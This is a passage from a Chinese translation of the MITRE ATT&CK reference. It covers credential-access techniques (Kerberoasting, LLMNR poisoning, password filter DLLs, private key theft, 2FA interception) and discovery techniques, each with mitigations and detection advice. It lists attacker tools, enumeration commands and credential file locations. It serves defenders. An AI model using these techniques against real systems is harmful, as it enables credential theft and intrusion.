攻击者还可能会在面向外部的门户（例如 VPN 登录页面）上安装代码来捕捉和传输尝试登录该服务的用户的凭据。攻击者可能会在入侵后使用这种输入捕捉技术变体，将合法管理员级访问作为通过外部远程服务和有效账号来保持网络访问的备份措施，或者作为利用面向外部的 web 服务初始入侵的一部分。

## 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

## 检测

键盘记录程序可以采用多种形式，可能包括修改注册表和安装驱动程序，设置 Hook 或轮询来拦截键盘输入。常常调用的 API 包括 SetWindowsHook，GetKeyState 和 GetAsyncKeyState。监控注册表和文件系统中的此类更改并检测驱动程序安装，还要查看常见的键盘记录 API 调用。仅仅是 API 调用并不能表示有键盘记录，但是 API 调用可能会提供行为数据。这些数据与其他信息（例如，写入磁盘的新文件和异常进程）结合使用时就很有用。

监控注册表来查看是否有添加自定义凭据提供程序的情况。检测到攻击者正在使用已入侵的有效账号可能有助于获取攻击者使用新技术来拦截用户输入的结果。

# 6.11 输入提示

编号： T1141

| |
|---|
| 技术： 凭据访问 |
| 平台： macOS, Windows |
| 所需权限： 用户 |
| 数据源： 进程监控，进程命令行参数，用户接口，PowerShell 日志 |
| 贡献者: Matthew Molyett, @s1air |
| 版本： 2.0 |

当执行的程序需要比当前用户上下文中存在的权限更高时，操作系统通常会提示用户输入正确的凭据以授权该权限的提升以完成该任务（例如：绕过用户帐户控制）。

攻击者可能会模仿此功能，以出于模仿正常使用的多种原因（例如需要额外访问的虚假安装程序或虚假恶意软件删除套件）来提示用户提供具有看似合法提示的验证信息。[1] 此类提示可用于通过各种语言收集数据，例如：AppleScript 和 PowerShell。

缓解

| 缓解措施 | 说明 |
|---|---|
| 用户培训 | 使用用户培训来提高意识并引发对潜在恶意事件的怀疑（例如：提示输入验证信息的 Office 文档）。 |

检测

监视异常程序的进程执行以及可用于提示用户输入凭据的恶意脚本实例。

检查并审查非传统指标的输入提示，例如非传统横幅，文本，时间和/或来源。

## 6.12 Kerberoasting

| |
|---|
| 编号： T1208 |
| 技术： 凭据访问 |
| 平台： Windows |
| 系统要求：有效的域帐户或在域中嗅探流量的功能。 |
| 所需权限： 用户 |
| 数据源： Windows 事件日志 |
| 贡献者: Praetorian |
| 版本： 1.0 |

服务主体名称（SPN）用于唯一标识 Windows 服务的每个实例。 要启用身份验证，Kerberos 要求 SPN 与至少一个服务登录帐户（专门负责运行服务的帐户）相关联。

拥有有效 Kerberos 票证授予票证（TGT）的攻击者可以从域控制器（DC）请求任何 SPN 的一个或多个 Kerberos 票证授予服务（TGS）的服务票证。这些票证的一部分可以使用 RC4 算法加密，这意味着与 SPN 关联的服务帐户的 Kerberos 5 TGS-REP etype 23 哈希被用作私钥，因此容易受到可能暴露明文凭据的离线暴力破解攻击。

可以使用从网络流量捕获的服务票据来执行相同的攻击。

被破解的哈希可以通过访问有效账户启用持久化，权限提升和横向移动。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 加密敏感信息 | 尽可能启用 AES Kerberos 加密（或其他更强大的加密算法），而不是 RC4。 |
| 密码策略 | 确保服务帐户的密码长度（理想情况下为 25 个字符以上）和复杂性，并且启用密码过期功能。同时可以考虑使用组托管服务帐户或其他第三方产品，例如密码存储。 |
| 特权账户管理 | 将服务帐户限制为所需的最低权限，包括域管理员等特权组的成员身份。 |

### 检测

启用审核 Kerberos 服务票证操作以记录 Kerberos TGS 服务票证请求。 特别是调查不规则的活动模式（例如：帐户在很短的时间内发出大量请求，事件 ID 4769，尤其是如果同时也请求 RC4 加密[类型 0x17]）。

## 6.13 Keychain

编号： T1142

技术： 凭据访问

平台： macOS

所需权限： 管理员

数据源： 系统调用，进程监控

版本： 1.0

Keychain 是 macOS 跟踪用户密码和凭据的内置方式，用于许多服务和功能，如 WiFi 密码，网站，安全备注，证书和 Kerberos。Keychain 文件位于 `~/Library/Keychains/`,`/Library/Keychains/`，和 `/Network/Library/Keychains/`。`security` 实用程序（默认情况下内置于 macOS 中）提供了管理这些凭据信息的有用方法。要管理其凭据，用户必须使用其他凭据来访问其 Keychain。如果攻击者知道登录 Keychain 的凭据，则他们可以访问存储在此库中的所有其他凭据.。默认情况下，Keychain 的密码是用户的登录凭据。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 密码策略 | 可以从用户的登录密码更改用户登录 Keychain 的密码。 对于攻击者而言，这增加了破译复杂性，因为他们需要知道额外的密码。 |

### 检测

解锁 Keychain 并使用密码是一个非常常见的过程，因此任何检测技术都可能存在很多噪音。 监视对 Keychain 的系统调用可以帮助确定是否有可疑进程试图访问它。

## 6.14 LLMNR/NBT-NS 中毒和中继

编号： T1171

技术： 凭据访问

平台： Windows

所需权限： 用户

数据源： Windows 事件日志，Windows 注册表，网络抓包，Netflow/Enclave 技术网络流分析

贡献者: Eric Kuehn, Secure Ideas; Matthew Demaske, Adaptforward

版本： 2.0

链路本地多播名称解析（LLMNR）和 NetBIOS 名称服务（NBT-NS）是 Microsoft Windows 组件，可用作主机标识的备用方法。 LLMNR 基于域名系统（DNS）格式，允许同一本地链路上的主机为其他主机执行名称解析。 NBT-NS 通过其 NetBIOS 名称识别本地网络上的系统。

攻击者可以通过响应 LLMNR（UDP 5355）/ NBT-NS（UDP 137）流量来欺骗受害网络上的名称解析的权威来源，就好像他们知道所请求主机的身份一样，从而有效地攻击服务以便受害者与被攻击者控制的系统进行通信。如果请求的主机属于需要标识/身份验证的资源，则用户名和 NTLMv2 哈希将被发送到攻击者控制的系统。然后，攻击者可以通过监视端口流量或通过网络嗅探工具收集通过线路发送的哈希信息，并通过暴力破解离线破解哈希以获取明文密码。 在某些情况下，攻击者可以访问处于身份验证路径中的系统，或者当使用凭据的自动扫描功能尝试对攻击者控制的系统进行身份验证时，NTLMv2 哈希可以拦截和中继，以访问和执行针对 目标系统的代码。中继步骤可以与系统中毒一起发生，但也可以独立于系统中毒。

存在一些可用于毒害本地网络中的名称服务的工具，例如 NBNSpoof，Metasploit 和 Responder。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 禁用或删除功能或程序 | 如果在环境中不需要，则在本地计算机安全设置中禁用 LLMNR 和 NetBIOS，或者按组策略禁用 LLMNR 和 NetBIOS。 |
| 过滤网络流量 | 使用基于主机的安全软件来阻止 LLMNR / NetBIOS 流量。 启用 SMB 签名可以阻止 NTLMv2 中继攻击。 |

### 检测

监视 HKLM \ Software \ Policies \ Microsoft \ Windows NT \ DNSClien 对“EnableMulticast” DWORD 值的更改。值“0”表示 LLMNR 被禁用。

如果安全策略禁用 LLMNR / NetBIOS，则监视端口 UDP 5355 和 UDP 137 上的流量。

部署 LLMNR / NBT-NS 欺骗检测工具。监视事件 ID 4697 和 7045 的 Windows 事件日志可以帮助检测成功的中继技术。

## 6.15 网络嗅探

编号：T1040

技术：凭据访问，发现

平台：Linux，macOS，Windows

系统要求：网络接口访问和网络抓包驱动程序

所需权限：管理员，系统

数据源：网络设备日志，主机网络接口，Netflow/Enclave 技术网络流分析，进程监控

CAPEC 编号：CAPEC-158

版本：1.0

网络嗅探是指使用系统上的网络接口来监控或捕捉通过有线或无线连接发送的信息。攻击者可能会将网络接口设置为混杂模式来被动地访问网络中传输的数据，也可能会使用端口镜像来获取大量数据。

通过此技术捕捉的数据可能包括用户凭据，尤其是通过不安全、未加密协议发送的用户凭据。 攻击者也可能会使用名称解析服务下毒技术（例如 LLMNR / NBT-NS 下毒和中继）通过重定向流量来捕捉网站、代理和内部系统的凭据。

网络嗅探还可能会透露配置详细信息，例如正在运行的服务，版本号和后续横向移动和/或防御逃逸活动所需的其他网络特征（例如：IP 地址，主机名，VLAN ID）。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 敏感信息加密 | 确保所有有线和/或无线流量均已正确加密。遵循认证协议最佳实践（例如 Kerberos），并确保可能包含凭据的 web 流量受到 SSL / TLS 保护。 |
| 多因子认证 | 尽可能使用多因子身份认证。 |

检测

检测导致网络流量嗅探的事件可能是最好的检测方法。从主机级别来看，攻击者可能需要对有线网络上的其他设备实施中间人攻击，从而捕捉非来往于当前已入侵系统的流量。信息流的这种变化可以在飞地网络级别检测到。监控 ARP 欺骗和免费 ARP 广播。检测已入侵的网络设备更具挑战性。需要审核管理员的登录、配置更改和设备映像才能检测到恶意更改。

# 6.16 密码过滤 DLL

编号：T1174

技术：凭据访问

平台：Windows

所需权限：管理员，系统

数据源：动态链接库监控，进程监控，Windows 注册表

贡献者：Vincent Le Toux

版本：1.0

Windows 密码过滤器提供了域账号和本地账号的密码策略实施机制。过滤器被实现为动态链接库，它提供了一种方法来验证可能违反了密码策略的密码。过滤器动态链接库可以位于本地计算机用于验证本地账号，和/或位于域控制器用于验证域账号。

新密码注册到 SAM 中之前，LSA 要求每个注册的过滤器都来验证此密码。在每个注册的过滤器都确认此密码有效之前，任何更改都不会生效。

攻击者可能会注册恶意密码过滤器来从本地计算机和/或整个域中获取凭据。要执行正确的验证，筛选器必须从 LSA 接收纯文本凭据。每次提出密码请求时，恶意密码过滤器都会接收这些纯文本凭据。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 操作系统配置 | 确保注册的密码过滤器都有效。域控制器和/或本地计算机的 Windows 安装目录（默认为 `C:\Windows\System32\`）中必须要有过滤器动态链接库，并且在 |

| | |
|---|---|
| | `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages` 中有相应的条目。 |

检测

监控来自或去往陌生密码过滤器的更改通知。

新安装的密码过滤器必须在系统重启后才会生效。

密码过滤器在 lsass.exe 中显示为自动运行并加载的动态链接库。

# 6.17 私钥

编号：T1145

技术：凭据访问

平台：Linux，macOS，Windows

所需权限：用户

数据源：文件监控

贡献者：Itzik Kotler，SafeBreach

版本：1.0

专用加密密钥和证书用于身份认证，加密/解密和数字签名。

攻击者可能会从入侵的系统中收集私钥，用于对 SSH 等远程服务的身份认证，或用于解密其他收集的文件（如电子邮件）。通用密钥和证书文件扩展名包括：.key，.pgp，.gpg，.ppk，.p12，.pem，.pfx，.cer，.p7b，和.asc。攻击者还可能会在常用密钥目录中查找密钥，比如在基于* nix 的系统上的`~/.ssh` 目录里查找 SSH 密钥，或在 Windows 系统上的 `C:\Users(username).ssh\` 目录里查找 SSH 密钥。

私钥应需要输入密码或密码短语才能进行操作。因此，攻击者还可能会使用键盘记录来捕捉输入或尝试离线暴力破解密码短语。

已经发现了攻击者使用工具搜索入侵的系统以寻找与加密密钥及证书有关的文件扩展名。

缓解

| 缓解措施 | 说明 |
|---|---|
| 审核 | 确保只允许授权密钥定期访问关键资源和审核访问列表。 |
| 敏感信息加密 | 如果可能，请将密钥存储在单独的加密硬件上，而不是存储在本地系统上。 |
| 网络分区 | 使用单独的基础设施来管理关键系统，防止系统上的凭据和权限重叠用于横向移动。 |
| 密码策略 | 对私钥使用强密码短语，使破解变得困难。 |

### 检测

监控对加密密钥和证书相关文件和目录的访问行为。如果有这种访问行为，可能表示有收集和渗漏相关的活动。收集身份认证日志并查看是否有异常行为可能表示攻击者恶意使用密钥或证书进行远程身份认证。

## 6.18 Securityd 内存

编号： T1167

技术： 凭据访问

平台： macOS

所需权限： root 用户

数据源： 进程监控

版本： 1.0

在 El Capitan 之前的 OS X 中，具有 root 访问权限的用户可以读取已登录用户的明文 Keychain 密码，因为 Apple 的 Keychain 实现允许缓存这些凭据，以便不会反复提示用户输入密码。Apple 的 securityd 实用程序会获取用户的登录密码，使用 PBKDF2 对其进行加密，并将此主密钥存储在内存中。Apple 还使用一组密钥和算法来加密用户的密码，但是一旦找到主密钥，攻击者只需要迭代其他值来解锁最终密码。

如果攻击者可以获得 root 访问权限（允许他们读取 securityd 的内存），那么他们可以扫描内存以在相对较少的尝试中找到正确的密钥序列来解密用户的登录 Keychain。这为攻击者提供了用户，WiFi，邮件，浏览器，证书，安全备注等所有明文密码。

### 缓解

这种类型的攻击技术无法通过预防性控制轻松缓解，原因在于它基于滥用系统功能。

## 6.19 双因子认证拦截

编号： T1111

技术： 凭据访问

平台： Linux, Windows, macOS

系统要求： 智能卡代理：使用智能卡进行单因素或多因素身份验证以访问网络资源。带插卡的附加智能卡读卡器；带外一次性代码：访问设备，服务或通信以拦截一次性代码；硬件令牌：访问生成一次性代码的种子和算法。

所需权限： 管理员，系统

| |
|---|
| 数据源： API 监控，进程监控，内核驱动 |
| 贡献者: John Lambert, Microsoft Threat Intelligence Center |
| 版本： 1.0 |

建议使用双因素或多因素身份验证，并提供比单独的用户名和密码更高级别的安全性设置，但组织应了解可用于拦截和绕过这些安全机制的技术。攻击者可以将身份验证机制（例如智能卡）作为目标，以获取对系统，服务和网络资源的访问权限。

如果智能卡用于双因素身份验证（2FA），则需要使用键盘记录器来获取正常使用期间与智能卡关联的密码。 使用插入的卡和访问智能卡密码，攻击者可以使用受感染的系统连接到网络资源，以使用插入的硬件令牌代理身份验证。

攻击者还可以使用键盘记录器来类似地定位其他硬件令牌，例如 RSA SecurID。 捕获令牌输入（包括用户的个人识别码）可以提供临时访问（即重放一次性密码直到下一个值翻转）以及可能使攻击者可靠地预测未来的认证值（赋予其对算法和用于生成附加临时代码的任何种子值的访问）。

2FA 的其他方法可能被拦截并被对手用来进行身份验证。 通常通过带外通信（电子邮件，SMS）发送一次性代码。 如果设备和/或服务不安全，则可能容易受到拦截。 虽然主要针对网络犯罪分子，但这些认证机制已成为高级参与者的目标。

### 缓解

| 缓解措施 | 说明 |
|---|---|
| 用户培训 | 不使用时取出智能卡。 |

### 检测

检测攻击者是否使用代理智能卡连接可能是困难的，因为它需要将令牌插入系统中；因此，它更有可能被合法用户使用并融入其他网络行为。

与输入捕获，键盘记录活动可以采用各种形式，但可以通过安装驱动程序，设置 Hook 或使用与轮询相关联的特定 API 调用来拦截击键来检测。

# 7.发现

## 7.1 账号发现

编号：T1087

技术：发现

平台：Linux，macOS，Windows

所需权限：用户

数据源：API 监控，进程监控，进程命令行参数

CAPEC 编号：CAPEC-575

贡献者：Travis Smith，Tripwire

版本：1.0

攻击者可能会尝试获取本地系统或域账号的列表。

### Windows

可以获取此信息的示例命令有 Net 实用程序的 `net user`，`net group` 和 `net localgroup` 以及 dsquery。如果攻击者试图识别主要用户、当前登录的用户或通常使用系统的一组用户，则可以使用“系统所有者/用户发现”技术。

### Mac

Mac 系统中，`groups` 和 `id` 命令可用来枚举群组。Mac 系统特有的 `dscl . list /Groups` 和 `dscacheutil -q group` 命令可用来枚举群组和用户。

### Linux

Linux 系统中，全局可读的`/etc/passwd` 文件可用来枚举本地用户。Mac 中，该文件仅在单用户模式下使用，除了/etc/master.passwd 文件之外。

同样，`groups` 和 `id` 命令可用来枚举群组。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 操作系统配置 | 防止通过 UAC 提升应用权限时枚举管理员帐户，因为这可能导致账号名泄露。注册表项位于 `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\CredUI\EnumerateAdministrators`。可以通过 GPO 将其禁用：计算机配置 > [策略] > 管理模板 > Windows 组件 > 凭据用户界面：枚举权限提升管理员账号。 |

### 检测

系统和网络发现技术通常拥在攻击者试图了解环境的整个操作过程中。不应孤立地看待数据和事件，而应将其视为可能导致其他活动的一系列行为中的一部分，例如横向移动。

监控进程和命令行参数来查看是否有收集系统和网络信息的行为。攻击者可能会使用带内置功能的远程访问工具来直接与 Windows API 交互以收集信息，也可能会使用 Windows 系统管理工具（例如 Windows Management Instrumentation 和 PowerShell）来获取信息。

## 7.2 应用窗口发现

编号： T1010

技术： 发现

平台： macOS, Windows

所需权限： 用户

数据源： API 监控，进程监控，进程命令行参数

版本： 1.0

攻击者可能会尝试获取打开的应用程序窗口列表。 窗口列表可以传达有关如何使用系统的信息，或者为键盘记录器收集的信息提供上下文。

在 Mac 中，这可以使用小型 AppleScript 脚本来实现。

### 缓解

这种类型的攻击技术无法通过预防性控制轻松缓解，因为它基于滥用系统功能。

### 检测

当攻击者学习环境时，系统和网络发现技术通常在整个操作中发生。不应孤立地查看数据和事件，而应将其视为可能导致基于所获信息的其他活动的行为链的一部分。

对可用于收集系统和网络信息的操作的进程和命令行参数进行监视。具有内置功能的远程访问工具可以直接与 Windows API 交互以收集信息。还可以通过 Windows 系统管理工具（如 Windows Management Instrumentation 和 PowerShell）。

## 7.3 浏览器书签发现

编号： T1217

技术： 发现

平台： Linux, Windows, macOS

所需权限： 用户

数据源： API 监控，文件监控，进程命令行参数，进程监控

贡献者: Mike Kemmerer

版本： 1.0

攻击者可以枚举浏览器书签以了解有关受感染主机的更多信息。浏览器书签可以显示有关用户的个人信息（例如：银行网站，兴趣，社交媒体等）以及有关内部网络资源的详细信息，例如服务器，工具/仪表盘或其他相关基础架构。

在攻击者可以访问有效凭据后，浏览器书签还可以突出显示其他目标，尤其是与浏览器缓存的与登录信息相关的文件中的凭据。

特定存储位置因平台和/或应用程序而异，但浏览器书签通常存储在本地文件/数据库中。

### 缓解

这种类型的攻击技术无法通过预防性控制轻松缓解，因为它基于滥用系统功能。

### 检测

对可用于收集浏览器书签信息的操作的进程和命令行参数进行监视。具有内置功能的远程访问工具可以使用 API 直接交互以收集信息。还可以通过 Windows 系统管理工具（如 Windows Management Instrumentation 和 PowerShell）。

当攻击者学习环境时，系统和网络发现技术通常在整个操作中发生。数据和事件不应孤立地被查看，而应作为一系列行为的一部分，根据获得的信息，该部分可能导致其他活动，如收集和渗透。

# 7.4 域信任发现

编号：T1482

技术：发现

平台：Windows

所需权限：用户

数据源：PowerShell 日志，API 监控，进程命令行参数，进程监控

贡献者：Dave Westgard；Elia Florio，Microsoft；Mnemonic；RedHuntLabs (@redhuntlabs)

版本：1.0

攻击者可能会尝试收集域信任关系相关的信息，用于识别 Windows 多域/林环境中的横向移动机会。域信任提供了一种机制，使域资源可以被通过另外一个域身份认证的用户访问。域信任允许受信任域的用户访问信任域中的资源。发现的信息可能会有助于攻击者实施 Windows 安全识别符注入、票据传递攻击和 Kerberos 活动目录攻击。可以通过 DSEnumerateDomainTrusts（）Win32 API 调用、.NET 方法和 LDAP 来枚举域信任。已知有攻击者使用 Windows 实用工具 Nltest 来枚举域信任。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 审核 | 在现有域/林中映射信任关系，并将信任关系数量保持在最小范围。 |
| 网络分区 | 对敏感域采取网络分区。 |

检测

系统和网络发现技术通常用在攻击者试图了解环境的整个操作过程中。不应孤立地看待数据和事件，而应将其视为可能导致其他活动的一系列行为中的一部分。

监控进程和命令行参数来查看是否有收集系统和网络信息的行为，比如 `nltest /domain_trusts`。攻击者可能会使用带内置功能的远程访问工具来直接与 Windows API 交互以收集信息。监控 DSEnumerateDomainTrusts（）Win32 API 调用来查看是否有域信任发现相关的活动。攻击者也可能会使用 Windows 系统管理工具（例如 PowerShell）来获取信息。监控.NET 方法 GetAllTrustRelationships()来判断攻击者是否使用了域信任发现技术。

# 7.5 文件和目录发现

编号： T1083

技术： 发现

平台： Linux, macOS, Windows

系统要求： 某些文件夹可能需要管理员，系统或特定用户权限，具体取决于权限级别和访问控制

所需权限： 用户，管理员，系统

数据源： 文件监控，进程监控，进程命令行参数

版本： 1.0

攻击者可以枚举文件和目录，或者可以在主机或网络共享的特定位置搜索文件系统内的某些信息。

### Windows

用于获取此信息的示例实用程序包括 `dir` 和 `tree`。自定义工具也可用于收集文件和目录信息并与 Windows API 交互。

### Mac and Linux

在 Mac 和 Linux 中，这种信息发现是通过 `ls`，`find`，和 `locate` 命令完成的。

### 缓解

这种类型的攻击技术无法通过预防性控制轻松缓解，因为它基于滥用系统功能。

### 检测

当攻击者学习环境时，系统和网络发现技术通常在整个操作中发生。数据和事件不应孤立地被查看，而应作为一系列行为的一部分，根据获得的信息，该部分可能导致其他活动，如收集和渗透。

对可用于收集系统和网络信息的操作的进程和命令行参数进行监视。具有内置功能的远程访问工具可以使用 API 直接交互以收集信息。还可以通过 Windows 系统管理工具（如 Windows Management Instrumentation 和 PowerShell）。

## 7.6 网络服务扫描

编号：T1046

技术：发现

平台：Linux，Windows，macOS

所需权限：管理员，系统，用户

数据源：Netflow/Enclave 技术网络流分析，网络协议分析，网络抓包，进程命令行参数，网络进程使用

| 版本：1.0 |
| --- |

攻击者可能会尝试获取远程主机上正在运行的服务列表，包括可能容易被远程软件利用的服务。方法包括使用系统附带的工具来扫描端口和漏洞。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 特性或程序禁用 | 确保关闭不必要的端口和服务，防止发现和可漏洞攻击风险。 |
| 网络入侵防御 | 使用网络入侵检测/防御系统来检测和阻止远程服务扫描。 |
| 网络分区 | 确保采取正确的网络分区来保护关键服务器和设备。 |

### 检测

系统和网络发现技术通常用在攻击者试图了解环境的整个操作过程中。不应孤立地看待数据和事件，而应将其视为可能导致其他活动的一系列行为中的一部分，例如横向移动。

> 与合法远程服务扫描相关的正常、良性系统和网络事件可能不常见，具体取决于环境及其使用方式。 环境中可能会有合法的开放端口和漏洞扫描，并且需要与开发的任何检测功能相冲突。网络入侵检测系统也可以用于识别扫描活动。监控网络进程使用情况，并检查网络内部流来检测端口扫描。

## 7.7 网络共享发现

| 编号：T1135<br>技术：发现<br>平台：macOS，Windows<br>所需权限：用户<br>数据源：进程监控，进程命令行参数，网络协议分析，网络进程使用<br>版本：1.0 |
| --- |

网络上经常会有共享的网络驱动器和文件夹。这使得用户可以访问网络上各种系统上的文件目录。

### Windows

Windows 网络上的文件通过 SMB 协议进行共享。

Net 的 `net view \remotesystem` 命令可以用来查询远程系统中可用的共享驱动器，`net share` 命令可以用来查询本地系统上的共享驱动器。

攻击者可能会寻找远程系统上共享的文件夹和驱动器。他们可能会以此手段来识别信息源，从而收集信息并确定感兴趣的系统来横向移动。

### Mac

Mac 系统中，`df -aH`命令可用来查看本地共享。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

系统和网络发现技术通常用在攻击者试图了解环境的整个操作过程中。不应孤立地看待数据和事件，而应将其视为可能导致其他活动的一系列行为中的一部分，例如横向移动。

与合法远程系统发现相关的正常、良性系统和网络事件可能不常见，具体取决于环境及其使用方式。监控进程和命令行参数来查看是否有收集系统和网络信息的行为。攻击者可能会使用带内置功能的远程访问工具来直接与 Windows API 交互以收集信息，也可能会使用 Windows 系统管理工具（例如 Windows Management Instrumentation 和 PowerShell）来获取信息。

## 7.8 网络嗅探

编号：T1040

技术：凭据访问，发现

平台：Linux，macOS，Windows

系统要求：网络接口访问和网络抓包驱动程序

所需权限：管理员，系统

数据源：网络设备日志，主机网络接口，Netflow/Enclave 技术网络流分析，进程监控

CAPEC 编号：CAPEC-158

版本：1.0

网络嗅探是指使用系统上的网络接口来监控或捕捉通过有线或无线连接发送的信息。攻击者可能会将网络接口设置为混杂模式来被动地访问网络中传输的数据，也可能会使用端口镜像来获取大量数据。

通过此技术捕捉的数据可能包括用户凭据，尤其是通过不安全、未加密协议发送的用户凭据。 攻击者也可能会使用名称解析服务下毒技术（例如 LLMNR / NBT-NS 下毒和中继）通过重定向流量来捕捉网站、代理和内部系统的凭据。

网络嗅探还可能会透露配置详细信息，例如正在运行的服务，版本号和后续横向移动和/或防御逃逸活动所需的其他网络特征（例如：IP 地址，主机名，VLAN ID）。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 敏感信息加密 | 确保所有有线和/或无线流量均已正确加密。遵循认证协议最佳实践（例如 Kerberos），并确保可能包含凭据的 web 流量受到 SSL / TLS 保护。 |
| 多因子认证 | 尽可能使用多因子身份认证。 |

### 检测

检测导致网络流量嗅探的事件可能是最好的检测方法。从主机级别来看，攻击者可能需要对有线网络上的其他设备实施中间人攻击，从而捕捉非来往于当前已入侵系统的流量。信息流的这种变化可以在飞地网络级别检测到。监控 ARP 欺骗和免费 ARP 广播。检测已入侵的网络设备更具挑战性。需要审核管理员的登录、配置更改和设备映像才能检测到恶意更改。

## 7.9 密码策略发现

编号： T1201

技术： 发现

平台： Windows, Linux, macOS

所需权限： 用户

数据源： 进程命令行参数，进程监控

贡献者: Sudhanshu Chauhan, @Sudhanshu_C

版本： 1.0

网络密码策略是一种强制要求使用难以猜测或通过暴力破解难以破译的复杂密码的方法。攻击者可能会尝试访问有关企业网络中使用的密码策略的详细信息。这将有助于攻击者创建一个公共密码列表并启动符合策略的字典和/或暴力攻击（例如，如果最小密码长度应为 8，则不要尝试例如'pass123'这样的密码；如果账户锁定设置为 6，则每个帐户尝试不超过 3-4 个密码，以防止帐户被锁定）。

Windows，Linux 和 macOS 系统上都可以设置和发现密码策略。

### Windows

- `net accounts`
- `net accounts /domain`

### Linux

- `chage -l`

- `cat /etc/pam.d/common-password`

### macOS

- `pwpolicy getaccountpolicies`

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 密码策略 | 确保仅注册有效的密码过滤器。筛选器 DLL 必须存在于域控制器和/或本地计算机的 Windows 安装目录（默认为 `C:\Windows\System32\`），并且在 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages` 中具有相应条目。[7] |

### 检测

监视工具和命令行参数的进程，这些参数可能表明它们正用于密码策略发现。将该活动与来自原始系统的其他可疑活动相关联，以减少有效用户或管理员活动的潜在误报。攻击者可能会尝试在操作的早期找到密码策略，并且该活动很可能与其他发现活动一起发生。

## 7.10 周边设备发现

编号： T1120

技术： 发现

平台： Windows

所需权限：用户，管理员，系统

版本： 1.0

攻击者可能试图收集有关连接到计算机系统的附加外围设备和组件的信息。该信息可用于增强他们对系统和网络环境的认识，或者可用于进一步的动作。

### 缓解

这种类型的攻击技术无法通过预防性控制轻松缓解，因为它基于滥用系统功能。

### 检测

当攻击者学习环境时，系统和网络发现技术通常在整个操作中发生。不应孤立地查看数据和事件，而应将其视为可能导致基于所获信息的其他活动的行为链的一部分。

对可用于收集系统和网络信息的操作的进程和命令行参数进行监视。具有内置功能的远程访问工具可以直接与 Windows API 交互以收集信息。还可以通过 Windows 系统管理工具（如 Windows Management Instrumentation 和 PowerShell）。

# 7.11 权限组发现

编号：T1069

技术：发现

平台：Linux，macOS，Windows

所需权限：用户

数据源：API 监控，进程监控，进程命令行参数

CAPEC 编号：CAPEC-576

版本：1.0

攻击者可能会尝试查找本地系统或域级别的群组和权限设置。

## Windows

可以列出群组的示例命令包括 Net 实用程序的 `net group /domain` 和 `net localgroup`。

## Mac

Mac 系统中，`dscacheutil -q group` 命令可用来列出域级别群组，`dscl . -list /Groups` 命令可用来列出本地群组。

## Linux

Linux 系统中，`groups` 命令可用来枚举本地群组，`ldapsearch` 命令可用来枚举域级别群组。

## 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

## 检测

系统和网络发现技术通常用在攻击者试图了解环境的整个操作过程中。不应孤立地看待数据和事件，而应将其视为可能导致其他活动的一系列行为中的一部分，例如横向移动。

监控进程和命令行参数来查看是否有收集系统和网络信息的行为。攻击者可能会使用带内置功能的远程访问工具来直接与 Windows API 交互以收集信息，也可能会使用 Windows 系统管理工具（例如 Windows Management Instrumentation 和 PowerShell）来获取信息。

# 7.12 进程发现

编号：T1057

技术：发现

平台：Linux，macOS，Windows

系统要求：管理员，系统用户可能会提供更好的进程所有权详细信息

所需权限：用户，管理员，系统

数据源：进程监控，进程命令行参数

CAPEC 编号：CAPEC-573

版本：1.0

攻击者可能会尝试获取系统上正在运行进程的相关信息，从而了解网络内系统上运行的通用软件。

### Windows

获取进程详细信息的示例命令有 Tasklist 实用程序的 tasklist。

### Mac and Linux

Mac 和 Linux 系统中，`ps`命令可用来获取进程详细信息。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

系统和网络发现技术通常用在攻击者试图了解环境的整个操作过程中。不应孤立地看待数据和事件，而应将其视为可能导致其他活动的一系列行为中的一部分，例如横向移动。

看起来像进程发现的正常、良性系统和网络事件可能不常见，具体取决于环境及其使用方式。监控进程和命令行参数来查看是否有收集系统和网络信息的行为。攻击者可能会使用带内置功能的远程访问工具来直接与 Windows API 交互以收集信息，也可能会使用 Windows 系统管理工具（例如 Windows Management Instrumentation 和 PowerShell）来获取信息。

# 7.13 查询注册表

编号：T1012

技术：发现

平台：Windows

所需权限：用户，管理员，系统

数据源：Windows 注册表，进程监控，进程命令行参数

版本：1.0

攻击者可能会与 Windows 注册表进行交互来收集系统、配置和已安装软件的相关信息。

注册表包含操作系统、配置、软件和安全性相关的大量信息。其中一些信息可能会有助于攻击者在网络中进一步扩大其操作范围。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

系统和网络发现技术通常用在攻击者试图了解环境的整个操作过程中。不应孤立地看待数据和事件，而应将其视为可能导致其他活动的一系列行为中的一部分，例如横向移动。

与 Windows 注册表交互的可能是实用程序（如 Reg）的命令行，或者运行中的恶意软件。这些恶意软件可能会通过 API 与注册表交互。可以通过进程和命令行监控来查看是否有实用程序通过命令行调用来查询注册表。攻击者可能会使用带内置功能的远程访问工具来直接与 Windows API 交互以收集信息，也可能会使用 Windows 系统管理工具（例如 Windows Management Instrumentation 和 PowerShell）来获取信息。

## 7.14 远程系统发现

编号：T1018

技术：发现

平台：Linux，macOS，Windows

所需权限：用户，管理员，系统

数据源：网络协议分析，进程监控，网络进程使用，进程命令行参数

贡献者：RedHuntLabs (@redhuntlabs)

版本：1.1

攻击者可能会尝试通过 IP 地址、主机名或网络上其他可用于从当前系统进行横向移动的逻辑标识符来获取其他系统的列表。远程访问工具中可能会带此功能。一旦启动，就可以实现此目的。操作系统中的实用程序也可以用来实现此目的。攻击者还可能会使用本地主机文件来发现远程系统的主机名到 IP 地址映射。

### Windows

